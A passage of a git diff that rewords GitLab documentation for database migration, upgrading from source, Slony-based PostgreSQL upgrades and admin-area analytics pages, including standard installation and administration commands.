repository and then install `pgloader`. -If you are migrating to a Docker based installation, you will need to install +If you are migrating to a Docker based installation, you must install pgloader within the container as it is not included in the container image. 1. Start a shell session in the context of the running container: @@ -69,7 +69,7 @@ pgloader within the container as it is not included in the container image. ## Omnibus GitLab installations -For [Omnibus GitLab packages](https://about.gitlab.com/install/), you'll first +For [Omnibus GitLab packages](https://about.gitlab.com/install/), you first need to enable the bundled PostgreSQL: 1. Stop GitLab: @@ -84,13 +84,13 @@ need to enable the bundled PostgreSQL: postgresql['enable'] = true ``` -1. Edit `/etc/gitlab/gitlab.rb` to use the bundled PostgreSQL. Please check - all the settings beginning with `db_`, such as `gitlab_rails['db_adapter']` - and alike. You could just comment all of them out so that we'll just use - the defaults. +1. Edit `/etc/gitlab/gitlab.rb` to use the bundled PostgreSQL. Review all of the + settings beginning with `db_` (such as `gitlab_rails['db_adapter']`). To use + the default values, you can comment all of them out. 1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Start Unicorn and PostgreSQL so that we can prepare the schema: ```shell @@ -110,9 +110,9 @@ need to enable the bundled PostgreSQL: sudo gitlab-ctl stop unicorn ``` -After these steps, you'll have a fresh PostgreSQL database with up-to-date schema. +After these steps, you have a fresh PostgreSQL database with up-to-date schema. -Next, we'll use `pgloader` to migrate the data from the old MySQL database to the +Next, use `pgloader` to migrate the data from the old MySQL database to the new PostgreSQL one: 1. Save the following snippet in a `commands.load` file, and edit with your @@ -178,7 +178,7 @@ You can now verify that everything works as expected by visiting GitLab. ## Source installations -For installations from source that use MySQL, you'll first need to +For installations from source that use MySQL, you must first [install PostgreSQL and create a database](../install/installation.md#6-database). After the database is created, go on with the following steps: @@ -211,9 +211,9 @@ After the database is created, go on with the following steps: sudo -u git -H bundle exec rake db:create db:migrate RAILS_ENV=production ``` -After these steps, you'll have a fresh PostgreSQL database with up-to-date schema. +After these steps, you have a fresh PostgreSQL database with up-to-date schema. -Next, we'll use `pgloader` to migrate the data from the old MySQL database to the +Next, use `pgloader` to migrate the data from the old MySQL database to the new PostgreSQL one: 1. Save the following snippet in a `commands.load` file, and edit with your diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md index 081df16be81..754265a23cf 100644 --- a/doc/update/patch_versions.md +++ b/doc/update/patch_versions.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/update/restore_after_failure.md b/doc/update/restore_after_failure.md index e35d7bff562..0625cc5a68f 100644 --- a/doc/update/restore_after_failure.md +++ b/doc/update/restore_after_failure.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Restoring from backup after a failed upgrade @@ -65,7 +65,7 @@ sudo gitlab-rake gitlab:db:mark_migration_complete[20151103134857] ``` Once the migration is successfully marked, run the Rake `db:migrate` task again. -You will likely have to repeat this process several times until all failed +You might need to repeat this process several times until all failed migrations are marked complete. ### GitLab < 8.6 @@ -86,5 +86,5 @@ exit ``` Once the migration is successfully marked, run the Rake `db:migrate` task again. -You will likely have to repeat this process several times until all failed +You might need to repeat this process several times until all failed migrations are marked complete. diff --git a/doc/update/upgrading_from_ce_to_ee.md b/doc/update/upgrading_from_ce_to_ee.md index 71d857ce18f..9a75326009c 100644 --- a/doc/update/upgrading_from_ce_to_ee.md +++ b/doc/update/upgrading_from_ce_to_ee.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- # Upgrading from Community Edition to Enterprise Edition from source -NOTE: **Note:** +NOTE: In the past we used separate documents for upgrading from Community Edition to Enterprise Edition. These documents can be found in the [`doc/update` directory of Enterprise Edition's source @@ -128,7 +128,7 @@ sudo -u git -H bundle exec rake gitlab:backup:restore RAILS_ENV=production Certain versions of GitLab may require you to perform additional steps when upgrading from Community Edition to Enterprise Edition. Should such steps be -necessary, they will listed per version below. +necessary, they are listed per version below. <!-- Example: diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md index 4eedc9bb89f..770eade6542 100644 --- a/doc/update/upgrading_from_source.md +++ b/doc/update/upgrading_from_source.md @@ -1,14 +1,14 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- # Upgrading Community Edition and Enterprise Edition from source -NOTE: **Note:** -Users wishing to upgrade to 12.0.0 will have to take some extra steps. See the +NOTE: +Users wishing to upgrade to 12.0.0 must take some extra steps. See the version specific upgrade instructions for 12.0.0 for more details. Make sure you view this update guide from the branch (version) of GitLab you @@ -45,7 +45,7 @@ specific guidelines (should there be any) are covered separately. ### 1. Backup -NOTE: If you installed GitLab from source, make sure `rsync` is installed. +If you installed GitLab from source, make sure `rsync` is installed. ```shell cd /home/git/gitlab @@ -61,7 +61,8 @@ sudo service gitlab stop ### 3. Update Ruby -NOTE: Beginning in GitLab 13.6, we only support Ruby 2.7 or higher, and dropped +NOTE: +Beginning in GitLab 13.6, we only support Ruby 2.7 or higher, and dropped support for Ruby 2.6. Be sure to upgrade if necessary. You can check which version you are running with `ruby -v`. @@ -70,7 +71,7 @@ Download Ruby and compile it: ```shell mkdir /tmp/ruby && cd /tmp/ruby -curl --remote-name --progress https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz +curl --remote-name --progress "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz" echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz cd ruby-2.7.2 @@ -81,7 +82,7 @@ sudo make install ### 4. Update Node.js -NOTE: To check the minimum required Node.js version, see [Node.js versions](../install/requirements.md#nodejs-versions). +To check the minimum required Node.js version, see [Node.js versions](../install/requirements.md#nodejs-versions). GitLab also requires the use of Yarn `>= v1.10.0` to manage JavaScript dependencies. @@ -89,7 +90,7 @@ dependencies. In Debian or Ubuntu: ```shell -curl --silent --show-error https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +curl --silent --show-error "https://dl.yarnpkg.com/debian/pubkey.gpg" | sudo apt-key add - echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list sudo apt-get update sudo apt-get install yarn @@ -99,7 +100,7 @@ More information can be found on the [Yarn website](https://classic.yarnpkg.com/ ### 5. Update Go -NOTE: To check the minimum required Go version, see [Go versions](../install/requirements.md#go-versions). +To check the minimum required Go version, see [Go versions](../install/requirements.md#go-versions). You can check which version you are running with `go version`. @@ -109,7 +110,7 @@ Download and install Go (for Linux, 64-bit): # Remove former Go installation folder sudo rm -rf /usr/local/go -curl --remote-name --progress https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz +curl --remote-name --progress "https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz" echo '512103d7ad296467814a6e3f635631bd35574cab3369a97a323c9a585ccaa569 go1.13.5.linux-amd64.tar.gz' | shasum -a256 -c - && \ sudo tar -C /usr/local -xzf go1.13.5.linux-amd64.tar.gz sudo ln -sf /usr/local/go/bin/{go,godoc,gofmt} /usr/local/bin/ @@ -119,7 +120,7 @@ rm go1.13.5.linux-amd64.tar.gz ### 6. Update Git -CAUTION: **Caution:** +WARNING: From GitLab 13.1, you must use at least Git v2.24 (previous minimum version was v2.22). Git v2.28 is recommended. @@ -139,7 +140,7 @@ sudo apt-get remove git-core sudo apt-get install -y libcurl4-openssl-dev libexpat1-dev gettext libz-dev libssl-dev build-essential # Download and compile pcre2 from source -curl --silent --show-error --location https://ftp.pcre.org/pub/pcre/pcre2-10.33.tar.gz --output pcre2.tar.gz +curl --silent --show-error --location "https://ftp.pcre.org/pub/pcre/pcre2-10.33.tar.gz" --output pcre2.tar.gz tar -xzf pcre2.tar.gz cd pcre2-10.33 chmod +x configure @@ -149,7 +150,7 @@ make install # Download and compile from source cd /tmp -curl --remote-name --location --progress https://www.kernel.org/pub/software/scm/git/git-2.29.0.tar.gz +curl --remote-name --location --progress "https://www.kernel.org/pub/software/scm/git/git-2.29.0.tar.gz" echo 'fa08dc8424ef80c0f9bf307877f9e2e49f1a6049e873530d6747c2be770742ff git-2.29.0.tar.gz' | shasum -a256 -c - && tar -xzf git-2.29.0.tar.gz cd git-2.29.0/ ./configure --with-libpcre @@ -163,7 +164,7 @@ sudo make prefix=/usr/local install ### 7. Update PostgreSQL -CAUTION: **Caution:** +WARNING: From GitLab 13.0, you must use at least PostgreSQL 11. The latest version of GitLab might depend on a more recent PostgreSQL version than what you are currently running (see the [PostgreSQL requirements](../install/requirements.md#postgresql-requirements)). @@ -210,17 +211,12 @@ sudo -u git -H make build ### 10. Update GitLab Workhorse -Install and compile GitLab Workhorse. GitLab Workhorse uses -[GNU Make](https://www.gnu.org/software/make/). -If you are not using Linux you may have to run `gmake` instead of -`make` below. +Install and compile GitLab Workhorse. ```shell -cd /home/git/gitlab-workhorse +cd /home/git/gitlab -sudo -u git -H git fetch --all --tags --prune -sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_WORKHORSE_VERSION) -sudo -u git -H make +sudo -u git -H bundle exec rake "gitlab:workhorse:install[/home/git/gitlab-workhorse]" RAILS_ENV=production ``` ### 11. Update Gitaly @@ -284,12 +280,12 @@ longer handles setting it. If you are using Apache instead of NGINX see the updated [Apache templates](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache). Also note that because Apache does not support upstreams behind Unix sockets you -will need to let GitLab Workhorse listen on a TCP port. You can do this +must let GitLab Workhorse listen on a TCP port. You can do this via [`/etc/default/gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/init.d/gitlab.default.example#L38). #### SMTP configuration -If you're installing from source and use SMTP to deliver mail, you will need to +If you're installing from source and use SMTP to deliver mail, you must add the following line to `config/initializers/smtp_settings.rb`: ```ruby diff --git a/doc/update/upgrading_postgresql_using_slony.md b/doc/update/upgrading_postgresql_using_slony.md index 4d8b58cc3af..89df7090977 100644 --- a/doc/update/upgrading_postgresql_using_slony.md +++ b/doc/update/upgrading_postgresql_using_slony.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Upgrading PostgreSQL Using Slony @@ -11,12 +11,12 @@ to the latest version without the need for hours of downtime. This guide assumes you have two database servers: one database server running an older version of PostgreSQL (e.g. 9.2.18) and one server running a newer version (e.g. 9.6.0). -For this process we'll use a PostgreSQL replication tool called +For this process we use a PostgreSQL replication tool called ["Slony"](https://www.slony.info/). Slony allows replication between different PostgreSQL versions and as such can be used to upgrade a cluster with a minimal amount of downtime. -In various places we'll refer to the user `gitlab-psql`. This user should be the +In various places we refer to the user `gitlab-psql`. This user should be the user used to run the various PostgreSQL OS processes. If you're using a different user (e.g. `postgres`) you should replace `gitlab-psql` with the name of said user. This guide also assumes your database is called @@ -28,15 +28,15 @@ change this accordingly. Slony only replicates data and not any schema changes. As a result we must ensure that all databases have the same database structure. -To do so we'll generate a dump of our current database. This dump will only -contain the structure, not any data. To generate this dump run the following +To do so, generate a dump of the current database. This dump only +contains the structure, not any data. To generate this dump run the following command on your active database server: ```shell sudo -u gitlab-psql /opt/gitlab/embedded/bin/pg_dump -h /var/opt/gitlab/postgresql -p 5432 -U gitlab-psql -s -f /tmp/structure.sql gitlabhq_production ``` -If you're not using GitLab's Omnibus package you may have to adjust the paths to +If you're not using the Omnibus GitLab package you may have to adjust the paths to `pg_dump` and the PostgreSQL installation directory to match the paths of your configuration. @@ -49,20 +49,20 @@ command on your active database server: sudo -u gitlab-psql /opt/gitlab/embedded/bin/pg_dump -h /var/opt/gitlab/postgresql/ -p 5432 -U gitlab-psql -a -t schema_migrations -f /tmp/migrations.sql gitlabhq_production ``` -Next we'll need to move these files somewhere accessible by the new database -server. The easiest way is to simply download these files to your local system: +Next, move these files somewhere accessible by the new database +server. The easiest way is to download these files to your local system: ```shell scp your-user@production-database-host:/tmp/*.sql /tmp ``` -This will copy all the SQL files located in `/tmp` to your local system's +This copies all the SQL files located in `/tmp` to your local system's `/tmp` directory. Once copied you can safely remove the files from the database server. ## Installing Slony -Slony will be used to upgrade the database without requiring a long downtime. +Use Slony to upgrade the database without requiring a long downtime. Slony can be downloaded from <https://www.slony.info/>. If you have installed PostgreSQL using your operating system's package manager you may also be able to install Slony using said package manager. @@ -94,7 +94,7 @@ test -f /opt/gitlab/embedded/bin/slonik_init_cluster && echo 'Slony Perl tools a ``` This assumes Slony was installed to `/opt/gitlab/embedded`. If Slony was -installed properly the output of these commands will be (the mentioned `slonik` +installed properly the output of these commands is (the mentioned `slonik` version may be different): ```plaintext @@ -106,8 +106,8 @@ slonik version 2.2.5 ## Slony User Next we must set up a PostgreSQL user that Slony can use to replicate your -database. To do so, log in to your production database using `psql` using a -super user account. Once done run the following SQL queries: +database. To do so, sign in to your production database using `psql` using a +super-user account. After signing in, run the following SQL queries: ```sql CREATE ROLE slony WITH SUPERUSER LOGIN REPLICATION ENCRYPTED PASSWORD 'password string here'; @@ -115,20 +115,20 @@ ALTER ROLE slony SET statement_timeout TO 0; ``` Make sure you replace "password string here" with the actual password for the -user. A password is *required*. This user must be created on _both_ the old and +user. A password is required. This user must be created on both the old and new database server using the same password. -Once the user has been created make sure you note down the password as we will -need it later on. +After creating the user, be sure to note the password, as the password is needed +later. ## Configuring Slony -Now we can finally start configuring Slony. Slony uses a configuration file for -most of the work so we'll need to set this one up. This configuration file +We can now start configuring Slony. Slony uses a configuration file for +most of the work so we need to set this one up. This configuration file specifies where to put log files, how Slony should connect to the databases, etc. -First we'll need to create some required directories and set the correct +First, create some required directories and set the correct permissions. To do so, run the following commands on both the old and new database server: @@ -199,8 +199,7 @@ appropriate path to the `psql` executable. The above command outputs a list of tables in a format that can be copy-pasted directly into the above configuration file. Make sure to _replace_ `TABLES` with -this output, don't just append it below it. Once done you'll end up with -something like this: +this output, don't just append it below it. The result looks like this: ```perl "pkeyedtables" => [ @@ -251,14 +250,14 @@ following: ... more rows here ... ``` -Now we can initialize the required tables and what not that Slony will use for +Now we can initialize the required tables and what not that Slony uses for its replication process. To do so, run the following on the old database: ```shell sudo -u gitlab-psql /opt/gitlab/embedded/bin/slonik_init_cluster --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf | /opt/gitlab/embedded/bin/slonik ``` -If all went well this will produce something along the lines of: +If all went well this produces something along the lines of: ```plaintext <stdin>:10: Set up replication nodes @@ -274,7 +273,7 @@ following on the old database: sudo -u gitlab-psql /opt/gitlab/embedded/bin/slon_start 1 --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf ``` -If all went well this will produce output such as: +If all went well this produces output such as: ```plaintext Invoke slon for node 1 - /opt/gitlab/embedded/bin/slon -p /var/run/slony1/slony_replication_node1.pid -s 1000 -d2 slony_replication 'host=192.168.0.7 dbname=gitlabhq_production user=slony port=5432 password=hieng8ezohHuCeiqu0leeghai4aeyahp' > /var/log/gitlab/slony/node1/gitlabhq_production-2016-10-06.log 2>&1 & @@ -289,7 +288,7 @@ Next we need to run the following command on the _new_ database server: sudo -u gitlab-psql /opt/gitlab/embedded/bin/slon_start 2 --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf ``` -This will produce similar output if all went well. +This produces similar output if all went well. Next we need to tell the new database server what it should replicate. This can be done by running the following command on the _new_ database server: @@ -324,7 +323,7 @@ This should produce the following output: <stdin>:6: Subscribed nodes to set 1 ``` -At this point the new database server will start replicating the data of the old +At this point the new database server starts replicating the data of the old database server. This process can take anywhere from a few minutes to hours, if not days. Unfortunately Slony itself doesn't really provide a way of knowing when the two databases are in sync. To get an estimate of the progress you can @@ -357,19 +356,19 @@ function main { main ``` -This script will compare the sizes of the old and new database every minute and +This script compares the sizes of the old and new database every minute and print the result to STDOUT as well as logging it to a file. Make sure to replace `SLONY_PASSWORD`, `OLD_HOST`, and `NEW_HOST` with the correct values. ## Stopping Replication -At some point the two databases are in sync. Once this is the case you'll need -to plan for a few minutes of downtime. This small downtime window is used to -stop the replication process, remove any Slony data from both databases, restart -GitLab so it can use the new database, etc. +At some point, the two databases are in sync. If this is the case, you must plan +for a few minutes of downtime. This small downtime window is used to stop the +replication process, remove any Slony data from both databases, and restart +GitLab so it can use the new database. First, let's stop all of GitLab. Omnibus users can do so by running the -following on their GitLab server(s): +following on their GitLab servers: ```shell sudo gitlab-ctl stop unicorn @@ -377,14 +376,14 @@ sudo gitlab-ctl stop sidekiq sudo gitlab-ctl stop mailroom ``` -If you have any other processes that use PostgreSQL you should also stop those. +If you have any other processes that use PostgreSQL, you should also stop those. -Once everything has been stopped you should update any configuration settings, -DNS records, etc so they all point to the new database. +After everything has been stopped, be sure to update any configuration settings +and DNS records so they all point to the new database. -Once the settings have been taken care of we need to stop the replication -process. It's crucial that no new data is written to the databases at this point -as this data will be lost. +When the settings have been taken care of, we need to stop the replication +process. It's crucial that no new data is written to the databases at this point, +as this data is discarded. To stop replication, run the following on both database servers: @@ -392,7 +391,7 @@ To stop replication, run the following on both database servers: sudo -u gitlab-psql /opt/gitlab/embedded/bin/slon_kill --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf ``` -This will stop all the Slony processes on the host the command was executed on. +This stops all the Slony processes on the host the command was executed on. ## Resetting Sequences @@ -469,7 +468,7 @@ Upload this script to the _target_ server and execute it as follows: bash path/to/the/script/above.sh ``` -This will correct the ownership of sequences and reset the next value for the +This corrects the ownership of sequences and reset the next value for the `id` column to the next available value. ## Removing Slony diff --git a/doc/user/abuse_reports.md b/doc/user/abuse_reports.md index 155f45f087f..935fca8209f 100644 --- a/doc/user/abuse_reports.md +++ b/doc/user/abuse_reports.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Abuse reports @@ -38,8 +38,8 @@ To report abuse from a user's comment: 1. Complete an abuse report. 1. Click the **Send report** button. -NOTE: **Note:** -A URL to the reported user's comment will be pre-filled in the abuse report's +NOTE: +A URL to the reported user's comment is pre-filled in the abuse report's **Message** field. ## Reporting abuse through a user's issue or merge request @@ -58,8 +58,8 @@ With the **Report abuse** button displayed, to submit an abuse report: 1. Submit an abuse report. 1. Click the **Send report** button. -NOTE: **Note:** -A URL to the reported user's issue or merge request will be pre-filled +NOTE: +A URL to the reported user's issue or merge request is pre-filled in the abuse report's **Message** field. ## Managing abuse reports diff --git a/doc/user/account/security.md b/doc/user/account/security.md index 8a8edc23529..d9db3a25c00 100644 --- a/doc/user/account/security.md +++ b/doc/user/account/security.md @@ -3,3 +3,6 @@ redirect_to: '../profile/account/index.md' --- This document was moved to [profile](../profile/account/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/account/two_factor_authentication.md b/doc/user/account/two_factor_authentication.md index 42a66becc50..b085611f747 100644 --- a/doc/user/account/two_factor_authentication.md +++ b/doc/user/account/two_factor_authentication.md @@ -3,3 +3,6 @@ redirect_to: '../profile/account/two_factor_authentication.md' --- This document was moved to [profile/account/two_factor_authentication](../profile/account/two_factor_authentication.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/abuse_reports.md b/doc/user/admin_area/abuse_reports.md index 4c346d7dfe8..62f3bd3625c 100644 --- a/doc/user/admin_area/abuse_reports.md +++ b/doc/user/admin_area/abuse_reports.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -73,7 +73,7 @@ page:  -NOTE: **Note:** +NOTE: Users can be [blocked](../../api/users.md#block-user) and [unblocked](../../api/users.md#unblock-user) using the GitLab API. diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md index 96b39ae7116..1bca1751d2e 100644 --- a/doc/user/admin_area/activating_deactivating_users.md +++ b/doc/user/admin_area/activating_deactivating_users.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -43,7 +43,7 @@ Please note that for the deactivation option to be visible to an admin, the user Users can also be deactivated using the [GitLab API](../../api/users.md#deactivate-user). -NOTE: **Note:** +NOTE: A deactivated user does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users). ## Activating a user @@ -61,9 +61,9 @@ To do this: Users can also be activated using the [GitLab API](../../api/users.md#activate-user). -NOTE: **Note:** +NOTE: Activating a user changes the user's state to active and consumes a [seat](../../subscriptions/self_managed/index.md#billable-users). -TIP: **Tip:** +NOTE: A deactivated user can also activate their account themselves by simply logging back in via the UI. diff --git a/doc/user/admin_area/analytics/convdev.md b/doc/user/admin_area/analytics/convdev.md index 3ffda3f4400..d0f3a34e15e 100644 --- a/doc/user/admin_area/analytics/convdev.md +++ b/doc/user/admin_area/analytics/convdev.md @@ -3,3 +3,6 @@ redirect_to: 'dev_ops_report.md' --- This document was moved to [another location](dev_ops_report.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md index d1f80e63c04..8f629fd4250 100644 --- a/doc/user/admin_area/analytics/dev_ops_report.md +++ b/doc/user/admin_area/analytics/dev_ops_report.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # DevOps Report **(CORE)** @@ -9,20 +9,20 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3. > - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6. -NOTE: **Note:** -Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature. - The DevOps Report gives you an overview of your entire instance's adoption of [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/) from planning to monitoring. To see DevOps Report, go to **Admin Area > Analytics > DevOps Report**. -## DevOps Score +## DevOps Score **(CORE)** -DevOps Score displays the usage of GitLab's major features on your instance over -the last 30 days, averaged over the number of active users in that time period. It also -provides a Lead score per feature, which is calculated based on GitLab's analysis +NOTE: +Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature. + +The DevOps Score tab displays the usage of major GitLab features on your instance over +the last 30 days, averaged over the number of billable users in that time period. It also +provides a Lead score per feature, which is calculated based on GitLab analysis of top-performing instances based on [usage ping data](../settings/usage_statistics.md#usage-ping) that GitLab has collected. Your score is compared to the lead score of each feature and then expressed as a percentage at the bottom of said feature. Your overall **DevOps Score** is an average of your feature scores. You can use this score to compare your DevOps status to other organizations. @@ -32,6 +32,48 @@ Your overall **DevOps Score** is an average of your feature scores. You can use The page also provides helpful links to articles and GitLab docs, to help you improve your scores. -Usage ping data is aggregated on GitLab's servers for analysis. Your usage +Usage ping data is aggregated on GitLab servers for analysis. Your usage information is **not sent** to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for data to be collected before this feature is available. + +## DevOps Adoption **(ULTIMATE)** + +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7. + +The DevOps Adoption tab shows you which segments of your organization are using the most essential features of GitLab: + +- Issues +- Merge Requests +- Approvals +- Runners +- Pipelines +- Deploys +- Scanning + +Segments are arbitrary collections of GitLab groups that you define. You might define a segment to represent a small team, a large department, or a whole organization. You are limited to creating a maximum of 20 segments, and each segment is limited to a maximum of 20 groups. Buttons to manage your segments appear in the DevOps Adoption section of the page. + +DevOps Adoption allows you to: + +- Verify whether you are getting the return on investment that you expected from GitLab. +- Identify specific groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey. +- Find the groups that have adopted certain features and can provide guidance to other groups on how to use those features. + + + +### Disable or enable DevOps Adoption + +DevOps Adoption is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to disable it. + +To disable it: + +```ruby +Feature.disable(:devops_adoption_feature) +``` + +To enable it: + +```ruby +Feature.enable(:devops_adoption_feature) +``` diff --git a/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png b/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png Binary files differnew file mode 100644 index 00000000000..0f1f16bead6 --- /dev/null +++ b/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png diff --git a/doc/user/admin_area/analytics/index.md b/doc/user/admin_area/analytics/index.md index 3d53cd73dd2..098d758e42a 100644 --- a/doc/user/admin_area/analytics/index.md +++ b/doc/user/admin_area/analytics/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Instance-level analytics diff --git a/doc/user/admin_area/analytics/instance_statistics.md b/doc/user/admin_area/analytics/instance_statistics.md new file mode 100644 index 00000000000..44fd04198b1 --- /dev/null +++ b/doc/user/admin_area/analytics/instance_statistics.md @@ -0,0 +1,5 @@ +--- +redirect_to: 'usage_trends.md' +--- + +This document was moved to [another location](usage_trends.md). diff --git a/doc/user/admin_area/analytics/usage_trends.md b/doc/user/admin_area/analytics/usage_trends.md index cf12f1f24c6..aeb577b8183 100644 --- a/doc/user/admin_area/analytics/usage_trends.md +++ b/doc/user/admin_area/analytics/usage_trends.md @@ -1,7 +1,7 @@ --- stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Usage Trends **(CORE)** @@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - It's enabled on GitLab.com. > - It's recommended for production use. -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. Usage Trends gives you an overview of how much data your instance contains, and how quickly this volume is changing over time. diff --git a/doc/user/admin_area/analytics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md index c9b62e258ae..1d2d0029860 100644 --- a/doc/user/admin_area/analytics/user_cohorts.md +++ b/doc/user/admin_area/analytics/user_cohorts.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Cohorts **(CORE)** diff --git a/doc/user/admin_area/appearance.md b/doc/user/admin_area/appearance.md index 23a6de38e17..b7f5afe7b70 100644 --- a/doc/user/admin_area/appearance.md +++ b/doc/user/admin_area/appearance.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto disqus_identifier: 'https://docs.gitlab.com/ee/customization/branded_login_page.html' --- @@ -16,15 +16,15 @@ section. By default, the navigation bar has the GitLab logo, but this can be customized with any image desired. It is optimized for images 28px high (any width), but any image can be -used (less than 1MB) and it will automatically be resized. +used (less than 1MB) and it is automatically resized.  Once you select and upload an image, click **Update appearance settings** at the bottom of the page to activate it in the GitLab instance. 